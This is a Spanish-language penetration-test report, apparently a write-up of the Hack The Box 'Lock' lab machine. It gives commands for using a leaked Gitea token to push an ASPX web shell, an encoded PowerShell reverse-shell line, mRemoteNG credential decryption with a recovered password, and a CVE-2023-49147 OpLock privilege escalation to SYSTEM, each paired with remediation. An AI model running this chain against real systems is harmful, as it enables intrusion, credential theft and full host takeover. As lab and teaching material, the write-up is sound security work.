

EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO LOCK (DEVSECOPS / IIS / OPLOCK RACE CONDITION)

1. Cabecera Formal y Clasificación

Parámetro	Detalle
ID del Proyecto	SEC-RPT-WIN-LOCK-2025
Clasificación	TLP:CLEAR / Pública
Cliente / Entorno	Infraestructura Corporativa Web y CI/CD lock.htb
Activo(s) en Alcance	10.129.234.64 (IIS 10.0 / Gitea)
Tipo de Evaluación	Prueba de Penetración Integral / Seguridad en Desarrollo y Windows Internals
Estado	Compromiso Crítico Validado / Escalada a NT AUTHORITY\SYSTEM

2. Resumen Ejecutivo

La evaluación técnica ejecutada sobre el servidor corporativo 10.129.234.64 reveló fallos encadenados que abarcan desde el pipeline de desarrollo seguro hasta la gestión de software de terceros en sistemas Windows.

Se detectó la exposición de un token de API en un repositorio público de la instancia interna de Gitea (puerto 3000), lo que permitió clonar el repositorio del sitio web en producción y desplegar una puerta trasera ASPX interpretada por IIS 10.0. Tras acceder al sistema, se descifraron credenciales RDP almacenadas en texto reversible por la herramienta mRemoteNG, escalando lateralmente al usuario gale.dekarios. Finalmente, aprovechando una condición de carrera por bloqueo oportunista (OpLock) en la reparación del paquete MSI de PDF24 Creator (CVE-2023-49147), se logró forzar la aparición de una consola interactiva elevada, obteniendo el control total del activo como NT AUTHORITY\SYSTEM.

3. Matriz de Hallazgos y Afección

Vulnerabilidad / Hallazgo	Criticidad	CVSS v3.1	OWASP / CWE	Mapeo MITRE ATT&CK
Carga de Archivos vía Repositorio Web (RCE en	Crítica	9.8	CWE-434 / OWASP	T1505.003 - Server Software Component:

IIS)			A03:2021	Web Shell
Condición de Carrera en Reparador MSI (CVE-2023-49147)	Alta	7.8	CWE-367 / OWASP A04:2021	T1068 - Exploitation for Privilege Escalation
Exposición de Token de API en Control de Versiones	Alta	7.5	CWE-798 / OWASP A02:2021	T1552.001 - Unsecured Credentials: Credentials in Files
Almacenamiento Débil de Claves en mRemoteNG	Alta	7.5	CWE-312 / OWASP A02:2021	T1555 - Credentials from Password Stores

4. Detalle Técnico y Pruebas de Concepto (PoC)

4.1. Fuga de Token de API y Despliegue de Web Shell en IIS

Examinando los repositorios públicos de Gitea (<http://lock.htb:3000>), se localizó un script que contenía un token de autorización perteneciente a ellen.freeman:

```
# Token recuperado: 43ce39bb0bd6bc489284f2905f033ca467a6362f
curl -s http://lock.htb:3000/api/v1/user/repos -H "Authorization: token 43ce39bb0bd6bc489284f2905f033ca467a6362f" | jq -r '.[].name'
# Repositorio privado localizado: website
```

Se procedió a la clonación del repositorio de producción:

```
git clone
http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git
```

Se introdujo una puerta trasera ASPX en el árbol del repositorio y se sincronizó con la rama main:

```
cd website
cp /usr/share/webshells/aspx/cmd.aspx ./shell.aspx
git add shell.aspx
git commit -m "Deployment hotfix"
git push origin main
```

Al navegar hacia <http://lock.htb/shell.aspx>, se detonó una consola de PowerShell para establecer la reverse shell:

```
powershell -e JABjAGwAaQBLAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...
```

Conexión interactiva obtenida como ellen.freeman:

```
whoami  
# lock\ellen.freeman
```

- **Impacto Técnico:** Control de la rama de producción web y ejecución de comandos remotos en el host Windows.
- **Remediación & Hardening:** Revocar el token comprometido, implementar validación de secretos con herramientas de escaneo pre-commit (ej. Gitleaks) y desacoplar la raíz de IIS de ramas públicas de Git sin un pipeline formal de despliegue.

4.2. Descifrado de mRemoteNG y Acceso RDP

En el directorio de usuario de ellen.freeman se identificó el archivo de configuración de mRemoteNG C:\Users\ellen.freeman\Documents\config.xml. Utilizando un script de descifrado offline para las claves de derivación conocidas de mRemoteNG:

```
python3 mremoteng_decrypt.py -rf config.xml  
# Credencial recuperada: Gale.Dekarios : ty8wnW9qCKDosXo6
```

Se estableció una conexión RDP interactiva sobre el puerto TCP 3389:

```
xfreerdp3 /u:'gale.dekarios' /p:'ty8wnW9qCKDosXo6' /v:10.129.234.64:3389  
+clipboard
```

- **Impacto Técnico:** Acceso interactivo completo vía Escritorio Remoto con privilegios de operador técnico.
- **Remediación & Hardening:** Migrar hacia soluciones corporativas de Privileged Access Management (PAM) que no guarden contraseñas en archivos XML planos y forzar autenticación multifactor (MFA) en RDP.

4.3. Escalada a NT AUTHORITY\SYSTEM vía CVE-2023-49147 (PDF24 OpLock)

El equipo ejecutaba la versión 11.14.0 de PDF24 Creator. Durante la reparación del paquete MSI ejecutada como NT AUTHORITY\SYSTEM, el instalador desencadena una consola interactiva cmd.exe al procesar el archivo faxPrnInst.log. Se utilizó la utilidad SetOpLock.exe para colocar un bloqueo oportunista sobre dicho archivo:

```
PS C:\Users\gale.dekarios> .\SetOpLock.exe "C:\Program  
Files\PDF24\faxPrnInst.log" r
```

En una segunda terminal, se ejecutó la reparación del paquete MSI:

```
msiexec.exe /fa "C:\Users\gale.dekarios\Downloads\pdf24-creator-11.14.0.msi"
```

El proceso de instalación se detuvo al dispararse el bloqueo, manteniendo visible la ventana de comandos ejecutada por SYSTEM. Mediante la interfaz gráfica de la ventana de consola:

1. Se hizo clic secundario en la barra de título, seleccionando Propiedades.
2. Se activó la opción Usar consola heredada (requiere reinicio).
3. Se seleccionó el enlace de ayuda en pantalla, el cual abrió el navegador Mozilla Firefox en el contexto del proceso padre (SYSTEM).
4. Desde el menú de Firefox, se pulsó Ctrl + O (Abrir archivo), se seleccionó cmd.exe en C:\Windows\System32\ y se ejecutó la acción de apertura.

Verificación del control total como superusuario:

```
Microsoft Windows [Version 10.0.19041.1]  
C:\Windows\system32> whoami  
nt authority\system  
  
C:\Users\Administrator\Desktop> type root.txt  
743f1a6d3a487cd1a352b9f3a5c1a3d4
```

- **Impacto Técnico:** Control absoluto del activo y elusión completa de todos los controles de acceso del sistema operativo Windows.
- **Remediación & Hardening:**
 1. Actualizar PDF24 Creator a la versión 11.15.0 o posterior, en la cual se corrigió la invocación de scripts interactivos durante la reparación.
 2. Deshabilitar los privilegios de usuarios sin permisos administrativos para ejecutar reparaciones de paquetes MSI corporativos aplicando la directiva de grupo: Computer Configuration -> Administrative Templates -> Windows Components -> Windows Installer -> Prohibit User Installs